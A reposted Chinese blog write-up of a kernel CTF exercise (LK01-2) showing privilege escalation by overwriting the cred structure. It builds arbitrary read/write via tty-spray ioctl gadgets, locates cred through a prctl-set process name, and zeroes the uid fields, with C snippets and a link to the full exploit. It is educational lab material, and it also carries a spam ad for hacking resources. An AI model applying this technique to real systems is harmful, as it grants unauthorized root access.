通过篡改cred结构体实现提权利用

这篇具有很好参考价值的文章主要介绍了通过篡改cred结构体实现提权利用。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

在之前的HeapOverflow文章中,作者还构造了任意地址读写的操作,使用了任意地址读写去进行提权,还挺有意思的,记录一下如何利用任意地址读写进行提权。

作者利用任意地址读写分别改写modprobe_path以及cred结构体去实现提权的操作,由于改写modprobe_path的方法之前已经研究过了,因此现在详细记录一下如何修改cred结构体完成提权操作。

cred结构体

cred 结构体通常出现在UNIX/Linux操作系统内核中,用于表示进程的凭据(credentials)。这些凭据包括有关进程身份的信息,如用户ID、组ID、权限等。结构体部分成员如下

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    ...
} __randomize_layout;

而我们在ret2usr的操作中,通常都为执行commit_creds(prepare_kernel_cred(0)),实际就是为了获取root的凭证,因此如果我们能过任意地址写的操作修改cred的结构体也同样能够实现。

cred的结构体存在uidgid等标识符用于标识在系统中用于身份验证和权限控制,因此将这些标识符修改为0,即可将当前进程修改为root进程。

那么该如何获取cred结构体的地址,则是提权的关键。这里就需要凭借任意地址读的操作。在task_struct中存在着cred结构体的指针值。并且该指针值刚好存在于comm变量的上方,而该变量用于存储当前的进程名。

    /* Effective (overridable) subjective task credentials (COW): */
    const struct cred __rcu     *cred;
​
#ifdef CONFIG_KEYS
    /* Cached requested key. */
    struct key          *cached_requested_key;
#endif
​
    /*
     * executable name, excluding path.
     *
     * - normally initialized setup_new_exec()
     * - access it with [gs]et_task_comm()
     * - lock it with task_lock()
     */
    char                comm[TASK_COMM_LEN];

因此我们可以通过将当前的进程名设置为在内核地址中几乎不会出现的值,则可以搜索内存值找到comm变量的位置,那么就可以获取cred结构体的指针值。

这里使用prctl函数设置进程名,prctl 函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。 prctl 函数的原型如下:

#include <sys/prctl.h>
​
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

prctl 函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

prctl 函数的参数和行为取决于传递给它的 option 参数,以及可能的附加参数 arg2 到 arg5。不同的 option 值对应于不同的控制操作。

以下是一些常见的 option 值和它们的用途:

  1. PR_SET_NAME:设置进程的名称,可以用于在系统中标识进程。

  2. PR_GET_NAME:获取进程的名称。

  3. PR_SET_PDEATHSIG:设置父进程退出时发送给子进程的信号。

  4. PR_GET_PDEATHSIG:获取父进程退出时发送给子进程的信号。

  5. PR_SET_SECCOMP:启用或禁用Seccomp过滤器,用于限制进程对系统调用的访问。

  6. PR_SET_KEEPCAPS:控制进程是否保留其有效用户ID的能力。

  7. PR_GET_KEEPCAPS:获取进程是否保留其有效用户ID的能力。

  8. PR_SET_NO_NEW_PRIVS:设置进程的No New Privileges标志,用于控制是否可以提升权限。

  9. PR_GET_NO_NEW_PRIVS:获取进程的No New Privileges标志状态。

  10. PR_SET_DUMPABLE:设置进程的核心转储状态。

  11. PR_GET_DUMPABLE:获取进程的核心转储状态。

  12. PR_SET_CHILD_SUBREAPER:设置进程是否作为子进程的子进程的领导者。

  13. PR_GET_CHILD_SUBREAPER:获取进程是否作为子进程的子进程的领导者。

ptrctl(PR_SET_NAME, "XXXXXXXXX"); //设置进程名

那么利用cred结构体的提权流程如下:

  • 具有任意地址读写的操作

  • 使用prctl函数将进程名设置为关键字

  • 使用任意地址在内核内存中搜索关键字,获取cred结构体的地址

  • 使用任意地址写修改cred结构体标识符的值,全修改为0

LK01-2

项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-2/LK01-2/qemu/AAR&AAW

题目的读写模块存在着堆溢出的漏洞,那么想要使用cred结构体进行提权,首先需要构造出任意地址读写的操作。

...
    *(unsigned long *)&buf[0x418] = g_buf;
    p[0xc] = 0xaaaaaa;
    write(fd, buf, 0x500);
    for (int i = 0; i < 100; i++) 
    ioctl(spray[i], 0x1234, 0x5678);
...

正如之前所说的,ioctl的参数是会传递给寄存器的,可以看到ioctl函数的参数对应RCXRSI寄存器,而第三个参数对应于RDX寄存器。并且距离g_buf地址的0xc的位置可以劫持程序的流程。

那么在内核中搜索相关的gadget就可以构造出任意地址读写的操作。

任意地址读

这里需要注意的是ioctl函数的参数的字节长度是不同的,在执行ioctl(spray[i], 0x1122334455667788, 0x1122334455667788)时,我们同时往参数二与参数三写入0x1122334455667788的值,但是RCX寄存器值传入了4个字节,而RDX寄存器可以传入8个字节,因此我们需要将RDX寄存器作为地址,而RCX作为值,这是因为内核地址是占满八字节的。

搜索的表达式为cat g | grep "mov .* \[rdx\];",由于需要rdx作为地址,因此直接搜索以rdx作为间接寻址的操作,括号需要进行转义字符。这里我们选取0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;作为任意地址读的gadget,这是因为我们可以往rdx填入想要读取的地址并且eax通常用于存储返回值,因此直接读取返回值即可获得rdx指向的值。

为了加速读取,作者这里采用缓存的形式,将能够控制的tty结构体的文件描述符存储起来,这样在下次读取时就不用重新遍历一遍。

//0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;
int aar(unsigned long addr)
{  
    int result;
    *(unsigned long *)&buf[0x418] = g_buf;
    p[0xc] = kernel_base + op_aar;
    write(fd, buf, 0x500);
    if (cache_fd == -1)
    {
        for (int i = 0; i < 100; i++) {
           result = ioctl(spray[i], 0, addr);
           if (result != -1)
           {
               cache_fd = spray[i];
           return result;
           }
        }   
    }   
    else
        return(result = ioctl(cache_fd, 0, addr));
}

任意地址写

任意地址写的gadget搜索思路与任意地址读一致,同样是将rdx作为寻址的寄存器,并且由于需要构造任意地址写,因此rcx寄存器则是我们想写入的值,因此搜索的表达式为cat g | grep "mov .* \[rdx\], rcx;"

//0xffffffff810477f7: mov qword ptr [rdx], rcx; ret; 
void aaw(unsigned long target_addr, unsigned long data)
{
    *(unsigned long *)&buf[0x418] = g_buf;
    p[0xc] = kernel_base + op_aaw;
    write(fd, buf, 0x500);
    for (int i = 0; i < 100; i++) {
       ioctl(spray[i], target_addr, data);
    }           
}

cred结构体的搜索与改写

首先是将当前进程名设置为一个关键字

prctl(PR_SET_NAME, "h0pe-ay!");

然后就是在内存中搜索该关键字,由于task_struct结构体存在于堆地址中,因此可以在堆地址中搜索。我们可以通过泄露的g_buf的地址,然后往前搜索,因为cred结构体会先于g_buf创建。这里需要注意的是需要将进程名改为小端,这里记录一下python从字符串转为16进制的脚本,因为每次都忘记了。

#从字符串转化为十六进制
>>> text = "h0pe-ay!"
>>> hex_string = text.encode('utf-8').hex()
>>> print(hex_string)
683070652d617921

#从十六进制转化为16进制
hex_string = "65703068"
bytes_obj = bytes.fromhex(hex_string)
print(bytes_obj)

接下来就是搜索内存了,需要注意以下几点

  • 使用小端序进行比较

  • 需要从g_buf地址往前搜索

  • 由于每次只能泄露4字节数据,因此需要泄露两次

在成功搜索到关键字之后,comm的上方四字节则是用于存储cred结构体的指针,因此需要通过任意地址去读取指针值,同样的由于只能读取四字节,因此需要读取两次,然后使用简单的移位组合起来。

    for (unsigned long addr = g_buf - 0x1000000;; addr += 0x8)
    {
    	if (aar(addr) == 0x65703068 && aar(addr+4) == 0x2179612d)
    	{
    		printf("[+] found!\n");
    		printf("addr:0x%lx\n", addr);
    		cred_addr = aar(addr - 4);
    		cred_addr = (cred_addr << 32) | aar(addr - 8);
    		printf("cred_addr:0x%lx\n", cred_addr);
    		break;
    	}
    }

最后就是改写cred结构体了,只需要将所有标识符修改为0即可,接着拿shell即可

    for (int i = 1; i < 9; i++)
    	aaw(0, cred_addr + i*4);

完整exp可见https://github.com/h0pe-ay/Kernel-Pwn/blob/master/LK01-2/LK01-2/qemu/AAR&AAW/exp.c

  更多网安技能的在线实操练习,请点击这里>>

 文章来源地址https://www.toymoban.com/news/detail-709821.html

到了这里,关于通过篡改cred结构体实现提权利用的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Linux利用Suid提权实验

    1.Suid suid:linux系统文件中除了读(r),写(w),执行(x)权限外,还有s和t这两个特殊的权限。 当s这个标志出现在文件所有者的x权限上时,此时就被称为 SetUid (简称SUID)则当文件被执行时,该文件是以文件所有者UID而不是用户UID 执行程序。 2.查找Suid命令 find / -perm -u=s

    2024年02月03日
    浏览(41)
  • 利用MSF溢出漏洞提权windows server2012

    使用Kali Linux平台的“metasploit framework”工具,针对Windows2012R2操作系统,上传EXP实现系统提权。 在此之前已经上传一句话取得admin权限,在自己虚拟机做演示,大家通常取得的权限可能会比admin低,但也是可以进行以下提权的,这里要把目标提权至system权限。 kalil inux Windows S

    2024年01月24日
    浏览(49)
  • 实战攻防演练-利用长亭百川云平台上线远控提权

    长亭百川云平台是北京长亭未来科技有限公司旗下的 SaaS 产品服务平台,专注于云安全解决方案。其提供牧云·主机管理助手、网站监测、牧云·云原生安全平台、雷池 Web 应用防火墙等一系列在线安全产品,帮助企业用户更轻松地治理云安全问题,使云上业务更加安全可靠。

    2024年02月08日
    浏览(41)
  • 【算法与数据结构】--前言

    欢迎来到《算法与数据结构》专栏!这个专栏将引领您进入计算机科学领域中最重要、最精彩的领域之一:算法与数据结构。不管您是一名初学者,还是已经拥有一定编程经验的开发者,都可以从这里找到有益的知识和实践。 在计算机科学的世界里,算法和数据结构是至关重

    2024年02月07日
    浏览(246)
  • 【数据结构】前言概况 - 树

    🚩 纸上得来终觉浅, 绝知此事要躬行。 🌟主页:June-Frost 🚀专栏:数据结构 🔥该文章针对树形结构作出前言,以保证可以对树初步认知。  线性结构是一种相对简单的数据结构,元素之间按照一定的顺序排列,每个元素最多有两个接口:前驱和后继。这种结构相对直观

    2024年02月07日
    浏览(68)
  • 数据结构前言

    数据结构是计算机存储、组织数据的方式。数据结构是指相互之间存在一种或多种特定关系的数据元素的集合。 上面是百度百科的定义, 通俗的来讲数据结构就是数据元素集合与数据元素集合或者数据元素与数据元素之间的组成形式。 举个简单明了的例子: 就像一个图书馆

    2024年02月09日
    浏览(54)
  • Vulnhub之Cengbox 2靶机详细测试过程(利用不同的方法提权)

    域名:ceng-company.vm 可能的用户名: kevin, aaron 其他:kevin可能密码比较弱 但是访问域名ceng-company.vm,返回页面内容没有发生变化 目录扫描没有啥收获,是否存在子域名? 发现admin子域名返回状态码为403 将该子域名加入到/etc/hosts文件: 访问admin.ceng-company.vm返回“Forbidden\\\",是

    2024年02月10日
    浏览(32)
  • C语言数据结构(0)——前言

    欢迎来到博主的新专栏——C语言与数据结构 博主id:代码小豪 在前两个专栏当中,博主已经大致的讲过了C语言中的大部分使用方法。大家都知道,学习英语时,首先掌握的是单词,随后学习语法,如此才能融会贯通的学习英语。如果学英文只会单词,那么阅读虽然不成问题

    2024年01月17日
    浏览(46)
  • HackTheBox Soccer 通过WebSockets进行SQL注入,Doas与Dstat插件提权

    靶机网址: 使用nmap枚举靶机 机子开放了22,80和9091端口,我们本地dns解析这个域名 然后fuzz网站根目录 扫到一个目录,去网站上看看 看起来这是一个后台的登录页面,这个后台的框架名叫Tiny File Manager,在github上是开源的 在这下面可以看到默认的用户名和密码,我们登录试

    2023年04月13日
    浏览(37)
  • ArcGIS笔记13_利用ArcGIS制作岸线与水深地形数据?建立水动力模型之前的数据收集与处理?

    在 利用MIKE建立水动力模型 ( 详见【MIKE水动力笔记】系列 )之前,需要收集、处理和制作诸多数据和资料,主要有 岸线数据、水深地形数据、开边界潮位驱动数据、风场数据、潮位和海流观测资料和站点潮汐调和常数资料 等。本篇主要介绍这些资料的获取与处理。 其中岸

    2024年02月08日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包